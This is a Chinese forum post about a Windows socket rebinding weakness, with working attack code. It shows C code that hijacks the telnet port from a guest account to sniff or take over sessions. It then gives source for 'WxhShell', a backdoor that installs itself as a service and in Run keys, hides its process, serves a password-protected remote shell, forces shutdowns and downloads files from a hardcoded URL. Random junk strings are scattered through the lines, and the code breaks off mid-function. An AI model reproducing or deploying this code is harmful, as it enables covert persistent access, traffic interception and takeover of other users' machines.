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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: NS-0-o|4#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8:[ l1d86  
|K9*><P?)2  
  saddr.sin_family = AF_INET; 9sI&d  
*7b?.{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); nw(R=C  
vo(:g6$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); QseV\;z  
ZG-#YF.1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 sR/y|  
$9P=  
  这意味着什么?意味着可以进行如下的攻击: 5)A[NTNJx  
&j,# 5f(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 cg_ " }]Y1  
d"L(eI}G  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) H3 -?cy  
e=3C*+lq\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?d+ri  
[5tvdW6Z &  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  hV:++g  
"!CVm{7[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 K+"3He  
HJBGxy w  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 N3N~z1x0h  
xojt s;n   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Mdq|: ^px  
Kwi+}B!  
  #include UA4c4~$S  
  #include (V1;`sI8  
  #include w 62m}5eA  
  #include    aRElk&M  
  DWORD WINAPI ClientThread(LPVOID lpParam);   8!YQ9T[  
  int main() 'n=bQ"bQu  
  { G|RBwl  
  WORD wVersionRequested; =CO) Q2  
  DWORD ret; #RbdQH !  
  WSADATA wsaData; mG$N%`aG  
  BOOL val; 1rs.  
  SOCKADDR_IN saddr; ay|jq "a  
  SOCKADDR_IN scaddr; <B>hvuCoH  
  int err;  ? 8/r=  
  SOCKET s; zliMG=6  
  SOCKET sc; }zxf~4 1  
  int caddsize; P&=YLL<W  
  HANDLE mt; V'tR \b  
  DWORD tid;   Zb2PFwcy  
  wVersionRequested = MAKEWORD( 2, 2 ); Bex;!1  
  err = WSAStartup( wVersionRequested, &wsaData ); $-u c#57  
  if ( err != 0 ) { %|ClYr  
  printf("error!WSAStartup failed!\n"); 'HJ+)[0X*  
  return -1; v 2 p  
  } (P;TM1k  
  saddr.sin_family = AF_INET; K^o{lyK;@~  
   m.!LL]]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Z=Cw7E  
w>8kBQ?b  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &-{%G=5~e%  
  saddr.sin_port = htons(23); M$Bb,s  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QmSMDWkh  
  { egBk7@Ko  
  printf("error!socket failed!\n"); P3-O)m]jv  
  return -1; o.w/ ?  
  } SP/b 4  
  val = TRUE; 60]VOQku  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ju3@F8AI  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) w\ 0vP  
  { {[`(o 0@(  
  printf("error!setsockopt failed!\n"); oV;sd5'LG  
  return -1; 2wnk~URj  
  } $y,KDR7^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; e$P^},0/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .P7q)lj36h  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ' `c \Dq  
f3qR7%X?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Z.!<YfA)  
  { 04&S.#+(  
  ret=GetLastError(); 2O@ON/  
  printf("error!bind failed!\n"); lR7;{zlSf'  
  return -1; Y:\]d1C  
  } H! 5Ka#B  
  listen(s,2); 8+dsTX`|S  
  while(1) R+0gn/a[G  
  { -^yc<%U  
  caddsize = sizeof(scaddr); fZr{x$]N0  
  //接受连接请求 a%BC{XX  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3UW`Jyd`k  
  if(sc!=INVALID_SOCKET) uL-kihV:-  
  { &=*1[j\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); E2dS@!]V  
  if(mt==NULL) lhJY]tQt/  
  { t#_6GL  
  printf("Thread Creat Failed!\n"); llR5qq=t  
  break; )m3emMO2  
  } Lg(G&ljE@k  
  } V`LE 'E  
  CloseHandle(mt); ,mvFeo;@f  
  } H)E,([   
  closesocket(s); ~Q Q1ZP3  
  WSACleanup(); ~PQR_?1  
  return 0; h lc!}{$%8  
  }   XUh&an$  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^H2TSaJ;  
  { xu"-Uj1  
  SOCKET ss = (SOCKET)lpParam; ,1B4FAR&  
  SOCKET sc; Z:,\FB_U  
  unsigned char buf[4096]; FN/l/OSb  
  SOCKADDR_IN saddr; k$m'ebrS.~  
  long num; ME]7e^  
  DWORD val; +PWm=;tcC  
  DWORD ret; :|S[i('  
  //如果是隐藏端口应用的话,可以在此处加一些判断 E$4H;SN \  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Qi dI  
  saddr.sin_family = AF_INET; w5s&Ws  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); w5)KWeGa  
  saddr.sin_port = htons(23); L\"wz scn  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zVtTv-DU  
  { EZ/_uj2&SN  
  printf("error!socket failed!\n"); 4clCZ@\K^  
  return -1; )'g4Ty  
  } J Q*~le*  
  val = 100; !Sy9v  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ".Q]FE@>  
  { #Dgu V  
  ret = GetLastError(); 0Bp0ScE|FA  
  return -1; 7Dl^5q.|  
  } ' Kkp!eZQ~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,wg(}y'  
  { |0u qW1  
  ret = GetLastError(); <_pLmYI  
  return -1; {wt9/IlG1  
  } Gdx %#@/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *L>usLh  
  { | B$JX'_  
  printf("error!socket connect failed!\n"); *gGw/jA/  
  closesocket(sc); Lw^%<.DM+t  
  closesocket(ss); QD^=;!  
  return -1; rfQs 7S;G  
  } g0a!auWM  
  while(1) WuF\{bUh  
  { v,N!cp1  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 NcwUK\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 XPq`; <G  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 oa7 N6  
  num = recv(ss,buf,4096,0); 5syzh S  
  if(num>0) bOrE86v:  
  send(sc,buf,num,0); XAF]B,h=  
  else if(num==0) %jq R^F:J  
  break; [a$1{[|)  
  num = recv(sc,buf,4096,0); xOg|<Nnl  
  if(num>0) *kF/yN  
  send(ss,buf,num,0); i>G:*?a  
  else if(num==0) rk ,64(  
  break; V_v+i c^  
  } wod{C!  
  closesocket(ss); ~ W8 M3(^  
  closesocket(sc); gGA5xkA  
  return 0 ; Qd% (]L[N.  
  } cw~GH  
l,A\]QDvl  
hhylsm  
========================================================== =8p[ (<F=  
"Ya ;&F.'  
下边附上一个代码,,WXhSHELL F/A)2 H_  
CnY dj~  
========================================================== 4U)%JK.ta  
n Zx^ej\  
#include "stdafx.h" T?u*ey~Tv  
w8>bct3@  
#include <stdio.h> {BAZ`I  
#include <string.h> I|>IV  
#include <windows.h> ci(BPnQ  
#include <winsock2.h> [vY)y\W{  
#include <winsvc.h> p"cY/2w:j  
#include <urlmon.h> WwSyw?T  
ao2o!-?!t  
#pragma comment (lib, "Ws2_32.lib") GLV`IkU %  
#pragma comment (lib, "urlmon.lib") T_)+l)  
r`u 9MJ*  
#define MAX_USER   100 // 最大客户端连接数 ! c~3`7v  
#define BUF_SOCK   200 // sock buffer j.c4  
#define KEY_BUFF   255 // 输入 buffer flBJO.2  
ih:%U  
#define REBOOT     0   // 重启 j}jU.\*v<  
#define SHUTDOWN   1   // 关机 m]=G73jzO  
l`JKQk   
#define DEF_PORT   5000 // 监听端口 g8"{smP/  
*;t_V laZ  
#define REG_LEN     16   // 注册表键长度 !a5e{QG0  
#define SVC_LEN     80   // NT服务名长度 i~HS"n  
7#T@CKdUd  
// 从dll定义API &.0wPyw  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ROfke.N\'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3i}$ ~rz]U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _1$+S0G;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'xM\txZ;  
f%YD+Dt_V  
// wxhshell配置信息 <lPHeO<^]  
struct WSCFG { )=,;-&AR  
  int ws_port;         // 监听端口 6X VJ/qZ  
  char ws_passstr[REG_LEN]; // 口令 u`*$EP-%  
  int ws_autoins;       // 安装标记, 1=yes 0=no c/3]M>+M  
  char ws_regname[REG_LEN]; // 注册表键名 ?* dfIc  
  char ws_svcname[REG_LEN]; // 服务名 $~A\l@xAG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e7U9"pk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?nR$>a`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }T=\hM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,}Ic($ To  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AlgVsE%Va  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VD=F{|^  
n6INI~,  
}; jLul:* L  
u/?;J1z:  
// default Wxhshell configuration P(zquKm  
struct WSCFG wscfg={DEF_PORT, B"RZpx  
    "xuhuanlingzhe", iF+50d  
    1, 1 7hXg"B  
    "Wxhshell", 0L7^Vr)  
    "Wxhshell", D4GXZX8 K  
            "WxhShell Service", D2#.qoP #  
    "Wrsky Windows CmdShell Service", =1F F2#zS  
    "Please Input Your Password: ", rk?G[C)2c  
  1, ou&7v<)x4  
  "http://www.wrsky.com/wxhshell.exe", <{1 3Nd'o  
  "Wxhshell.exe" n] n3/wpO  
    }; umiD2BRZ  
`&/zOMp  
// 消息定义模块 C1~Ro9si  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,rQPs  
char *msg_ws_prompt="\n\r? for help\n\r#>"; MWc{7,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _~ 7cn  
char *msg_ws_ext="\n\rExit."; =j1Q5@vS  
char *msg_ws_end="\n\rQuit."; S#7.y~e\  
char *msg_ws_boot="\n\rReboot..."; VoUAFEcs  
char *msg_ws_poff="\n\rShutdown..."; ]p~,C*UH0  
char *msg_ws_down="\n\rSave to "; *:,7 A9LY  
s|8_R;  
char *msg_ws_err="\n\rErr!"; x"PMi[4  
char *msg_ws_ok="\n\rOK!"; N &vQis  
((_v>{  
char ExeFile[MAX_PATH]; 4T#Z[B[  
int nUser = 0; .aR$ou,7  
HANDLE handles[MAX_USER]; <H!; /p/S  
int OsIsNt; B3Esfk  
P1QGfp0-J  
SERVICE_STATUS       serviceStatus; UBy:W^\g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8c'E  
JSiLG0  
// 函数声明 QGd"Z lQ  
int Install(void); '^M3g-C[Jg  
int Uninstall(void); b*qC  
int DownloadFile(char *sURL, SOCKET wsh); 5fa_L'L#  
int Boot(int flag); {R. @EFkZ  
void HideProc(void); *,__\/U98  
int GetOsVer(void); ~ +z'pK~c  
int Wxhshell(SOCKET wsl); eTa[~esu.  
void TalkWithClient(void *cs); [5kaF"  
int CmdShell(SOCKET sock); <?iwi[S  
int StartFromService(void); *YY:JLe  
int StartWxhshell(LPSTR lpCmdLine); -n$fh::^  
+2]{% =  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w-MnJ(r  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %!1:BQ,p,i  
+EgQj*F*  
// 数据结构和表定义 !~k-S exh  
SERVICE_TABLE_ENTRY DispatchTable[] = niN$!k+Jr  
{ ^k?Ig.m  
{wscfg.ws_svcname, NTServiceMain}, =2[cpF]  
{NULL, NULL} >U$,/_uMNW  
}; [&FWR  
r&ex<(I{  
// 自我安装 C_Z[ul  
int Install(void) n.Q?@\}2  
{ Y 1vSwS%{T  
  char svExeFile[MAX_PATH]; ]"M4fA  
  HKEY key; s?*MZC  
  strcpy(svExeFile,ExeFile); A5gdZZ'x  
C"ZCX6p+$  
// 如果是win9x系统,修改注册表设为自启动 eq\{*r"DCK  
if(!OsIsNt) { O-vvFl#4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kST  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R:v`\  
  RegCloseKey(key); 1)M>vdrP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ye_)~,{,p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %k3a34P@  
  RegCloseKey(key); qN_jsJ  
  return 0; T=2 91)@  
    } iwfv t^  
  } b-+iL  
} `+QrgtcEy4  
else { q-}J0vu\K  
hQgi--Msw'  
// 如果是NT以上系统,安装为系统服务 ,*V{g pC7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !g~xn2m$R  
if (schSCManager!=0) |&TRN1  
{ l>M&S^/s j  
  SC_HANDLE schService = CreateService @Tr8.4  
  ( vf(\?Js ,  
  schSCManager, kqA`d  
  wscfg.ws_svcname, `riK[@  
  wscfg.ws_svcdisp, ( UV8M\  
  SERVICE_ALL_ACCESS, s?5(E}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p]#%e0  
  SERVICE_AUTO_START, /\_ s  
  SERVICE_ERROR_NORMAL, #f@sq5pTO  
  svExeFile, z>hG'  
  NULL, ?ei7jM",  
  NULL, QSy=JC9  
  NULL, /cDla5eej  
  NULL, ` oYrW0Vm  
  NULL ' 7>V4\"  
  ); */RtN`dh  
  if (schService!=0) |k> _ jO  
  { :nw4K(:f  
  CloseServiceHandle(schService); avk0pY(n  
  CloseServiceHandle(schSCManager); W!z=AL{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f?_H02j`/E  
  strcat(svExeFile,wscfg.ws_svcname); @K]D :MSS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3%xj-7z W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SVaC)O(  
  RegCloseKey(key); V5RfxWtm:  
  return 0; ,y?0Iwf  
    } x5 3 aGi|  
  } <$HP"f+<S5  
  CloseServiceHandle(schSCManager); /'p(X~X:l  
} 'LR5s[$j  
} }dE0WJcO  
FbHk6(/)  
return 1; *}0g~8Gp  
} R b6` k^  
0AFjO)  
// 自我卸载 >e"CpbZ'  
int Uninstall(void) Wgdij11e  
{ j#0@%d  
  HKEY key; i}+K;,Da:8  
h{kAsd8 G  
if(!OsIsNt) { 4jj@"*^a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k| nv[xY0  
  RegDeleteValue(key,wscfg.ws_regname); \ M8;CN  
  RegCloseKey(key); }ruBbeQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x2[A(O=  
  RegDeleteValue(key,wscfg.ws_regname); FU~ Ip  
  RegCloseKey(key); izow=}  
  return 0; ~(%nnG6x  
  } S!k cC-7  
} o6ec\v!l-  
} d?*=<w!A  
else { \:\rkc9LI  
M"#xjP.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9dr\=e6) C  
if (schSCManager!=0) z'MOuz~Y  
{ x(&o=Pu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZPY#<^WOzr  
  if (schService!=0) _CBG?  
  { Y: oL  
  if(DeleteService(schService)!=0) { CbA!  
  CloseServiceHandle(schService); |28z4.  
  CloseServiceHandle(schSCManager);  =h\,-8  
  return 0; ;dNKe.`Dg  
  } cRK1JxU  
  CloseServiceHandle(schService); [GX5jD#  
  } 4}Y2 B$  
  CloseServiceHandle(schSCManager); :e`;["(,  
} ~%B^`s  
} =M)+O%`*6  
<l(LQmM;  
return 1; )}1 J.>5  
} r%JJ5Al.S  
hdp;/Qz&  
// 从指定url下载文件 S.aSNH<  
int DownloadFile(char *sURL, SOCKET wsh) 3@*J=LGhKc  
{ ^i2W=A'P  
  HRESULT hr; *pCT34'--  
char seps[]= "/"; J84Q|E  
char *token; %%}U -*b  
char *file; %vDN{%h8  
char myURL[MAX_PATH]; aRdzXq#x  
char myFILE[MAX_PATH]; f+j\,LJ  
&aqF ||v%)  
strcpy(myURL,sURL); D|@*HX@_Xp  
  token=strtok(myURL,seps); )'KkO$^&  
  while(token!=NULL) \m~ ?mg"#  
  { 61HU_!A8S  
    file=token; iF?4G^  
  token=strtok(NULL,seps); \L-o>O  
  } eYMp@Cx  
/\V-1 7-  
GetCurrentDirectory(MAX_PATH,myFILE); (PE x<r1   
strcat(myFILE, "\\"); 8hZ+[E}  
strcat(myFILE, file); @-Tt<pl'L  
  send(wsh,myFILE,strlen(myFILE),0); 6LrG+p`  
send(wsh,"...",3,0); 1WRQjT=o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'kf]l=i[n  
  if(hr==S_OK) E4 GtJ`{X  
return 0; Cb5;l~}L  
else {M96jjiInf  
return 1; /qa{*"2Qo  
YD_hg#=n  
} lO! Yl:;m%  
]*|+06  
// 系统电源模块 (B{`In8G>y  
int Boot(int flag) \C $LjSS-  
{ oOlqlv  
  HANDLE hToken; > L_kSC?  
  TOKEN_PRIVILEGES tkp; sa$CCQ  
8i/5L=a"`  
  if(OsIsNt) { '/%]B@!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O%L]*vIr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]1h W/!  
    tkp.PrivilegeCount = 1; @&p:J0hbp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; awkPFA*c'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]-h;gN  
if(flag==REBOOT) { #m=TK7*v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CT,PQ  
  return 0; Yl4XgjG  
} Hd]o?q\  
else { .\XFhOsa  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^3"~ T  
  return 0; f 1s3pr??  
} U{/d dCf7  
  } Z0HfrK#oU  
  else { =?]H`T:  
if(flag==REBOOT) { R8|H*5T?+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M#%l}  
  return 0; OSreS5bg  
} -5vg"|ia,  
else { AX($LIy9P  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g2 7 iE  
  return 0; )#S;H$@$  
} nSY3=Edx=  
} ]Fi_v?42x  
Q*4{2oQ  
return 1; )E9[=4+*C$  
} UMtnb:ek  
 ac  
// win9x进程隐藏模块 >T84NFdz+  
void HideProc(void) Buc{dcL/  
{ NULew]:5  
|i_+b@Lul  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _y:-_q  
  if ( hKernel != NULL ) )Fk*'6  
  { 9o%k [n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #gW"k;7P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8/W(jVO(-  
    FreeLibrary(hKernel); pmda9V4  
  } DO*rVs3'p[  
M3q%(!2  
return; kU :ge  
} 3dO~Na`S  
uoJ@Jt'j  
// 获取操作系统版本 K0;caqE^  
int GetOsVer(void) g0({$2Q7R  
{ ;wGoEN  
  OSVERSIONINFO winfo; 6%yt"XmT  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E8X(AZ 2  
  GetVersionEx(&winfo); D6+^Qmu"p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X~UrAG}_  
  return 1; 5&)T[Q X`  
  else B&fH FyK1n  
  return 0; HSwC4y}  
} 2 |`7_*\  
l4Au{%j\  
// 客户端句柄模块 1t+uMhy*y  
int Wxhshell(SOCKET wsl) L6d^e53AP  
{ -@7?N6~qZx  
  SOCKET wsh; mD5Vsy{Pb  
  struct sockaddr_in client; ]{Y7mpdB  
  DWORD myID; <JUumrEo  
c,>y1%V*S{  
  while(nUser<MAX_USER) "L4ZE4|)  
{ /1@py~ZX  
  int nSize=sizeof(client); !NqLBrcv0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &=f] a  
  if(wsh==INVALID_SOCKET) return 1; Qg6tJB   
xAwP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); af@R\"N9c  
if(handles[nUser]==0) ZR]p7{8B  
  closesocket(wsh); W3+;1S$k  
else %Ev)Hk  
  nUser++; g)!d03Qoy  
  } 8|JPQDS7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8I8{xt4   
z`H|]${X  
  return 0; - +<ai  
} h\T}$jgfWm  
>O]u4G!  
// 关闭 socket !w1 acmo<_  
void CloseIt(SOCKET wsh) >//yvkZ9,  
{ u+lNcyp"MW  
closesocket(wsh); @[LM8 @:  
nUser--; nt:ZO,C:R  
ExitThread(0); :(Ak:  
} 3>>Ca;>$  
k1'd';gQ  
// 客户端请求句柄 wY]ejK$0R  
void TalkWithClient(void *cs) y(<+=  
{ ]FNe&o1zX  
 o,rK8x  
  SOCKET wsh=(SOCKET)cs; <=~*`eWV  
  char pwd[SVC_LEN]; GX+Gqj.  
  char cmd[KEY_BUFF]; %)ri:Qq  
char chr[1];  eC[G4  
int i,j; :]icW ^%  
aH7@:=B  
  while (nUser < MAX_USER) { G>edJPfQ  
'7<^x>D|  
if(wscfg.ws_passstr) { :jAsm[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :FUxe kz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wZ5k|5KtW  
  //ZeroMemory(pwd,KEY_BUFF); ! FVD_8  
      i=0; _BEDQb{"|  
  while(i<SVC_LEN) { x.9[c m-!  
yxtfyf|9 '  
  // 设置超时 I!"/I8Y  
  fd_set FdRead; !eHQe7_  
  struct timeval TimeOut; 5d;(D i5z  
  FD_ZERO(&FdRead); lSfPOx;*  
  FD_SET(wsh,&FdRead); 9=J 3T66U  
  TimeOut.tv_sec=8; rR4?*90vjj  
  TimeOut.tv_usec=0; ?7#{#sj  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .unlr_eA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~ #jnkD  
T |&u?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PYwGGB-  
  pwd=chr[0]; :IO"' b  
  if(chr[0]==0xd || chr[0]==0xa) { lDL(,ZZS`  
  pwd=0; ~\*wt(o  
  break; ' %&-`/x  
  } +4n}H}9l  
  i++; >]HvXEdNZ|  
    } ta@fNS4  
Sim$:5P  
  // 如果是非法用户,关闭 socket R2==<"gq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dy~M5,zn  
} ;Kh[6{W  
8%`h:fE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %J+ w9Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F0wW3+G  
usNq]  
while(1) { TyvUdU  
Qe0?n  
  ZeroMemory(cmd,KEY_BUFF); _H@8qR  
(QdLz5\  
      // 自动支持客户端 telnet标准   [s[!PlazX  
  j=0; )xL_jSyh  
  while(j<KEY_BUFF) { cm8co  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g,G{%dGsk  
  cmd[j]=chr[0]; | 2GrOM&S  
  if(chr[0]==0xa || chr[0]==0xd) { ewdcAF5  
  cmd[j]=0; ^?: Az  
  break; 2q UX"a4  
  } ?Ld:HE  
  j++; >[N6_*K]  
    } _PLZ_c:O  
e< G[!m  
  // 下载文件 =eR#]d  
  if(strstr(cmd,"http://")) { Ax 4R$P.]u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T-\q3X|y/  
  if(DownloadFile(cmd,wsh)) v+i==vxg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?k=)T]-}  
  else ? <w[ZWytm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'JO}6 ;W  
  } |fb*<o eT  
  else { *&5./WEOH  
uG+eF  
    switch(cmd[0]) { k!T-X2L=  
  [,Y;#;   
  // 帮助 7CCSG{k  
  case '?': { a *bc#!e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @7t*X-P.;-  
    break; |}: D_TX  
  } [fJxbr"  
  // 安装 + jN)$Y3Ya  
  case 'i': { Bnz}:te}  
    if(Install()) gF]IAZCi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;xSlRTNT=6  
    else Oiw!d6"Ovq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V0bKtg1f?-  
    break; !-7<x"avm  
    } >J,IxRGi  
  // 卸载 - v=ndJ.  
  case 'r': { uZP( -}  
    if(Uninstall()) `uc`vkVZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eH9-GGr  
    else rc}=`D`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rm<`H(cT  
    break; m:g%5' qDZ  
    } zR%)@wh  
  // 显示 wxhshell 所在路径 SIzA0  
  case 'p': { >?{> !#1  
    char svExeFile[MAX_PATH]; orEb+  
    strcpy(svExeFile,"\n\r"); ?#:!!.I:  
      strcat(svExeFile,ExeFile); L(/wsw~y*  
        send(wsh,svExeFile,strlen(svExeFile),0); [3] h(D  
    break; (#Xgfb"S3  
    } -}5dZ;  
  // 重启 0 d2to5 (  
  case 'b': { "9RW<+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @ 3b-  
    if(Boot(REBOOT)) ]Gl5Qf:+z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R;w1& Z  
    else { s="cg0PD  
    closesocket(wsh); j[w5#]&%  
    ExitThread(0); nB |fw"  
    } n* z;%'0  
    break; jYh.$g<`0+  
    } ,f .#-  
  // 关机 kCKCJ }N  
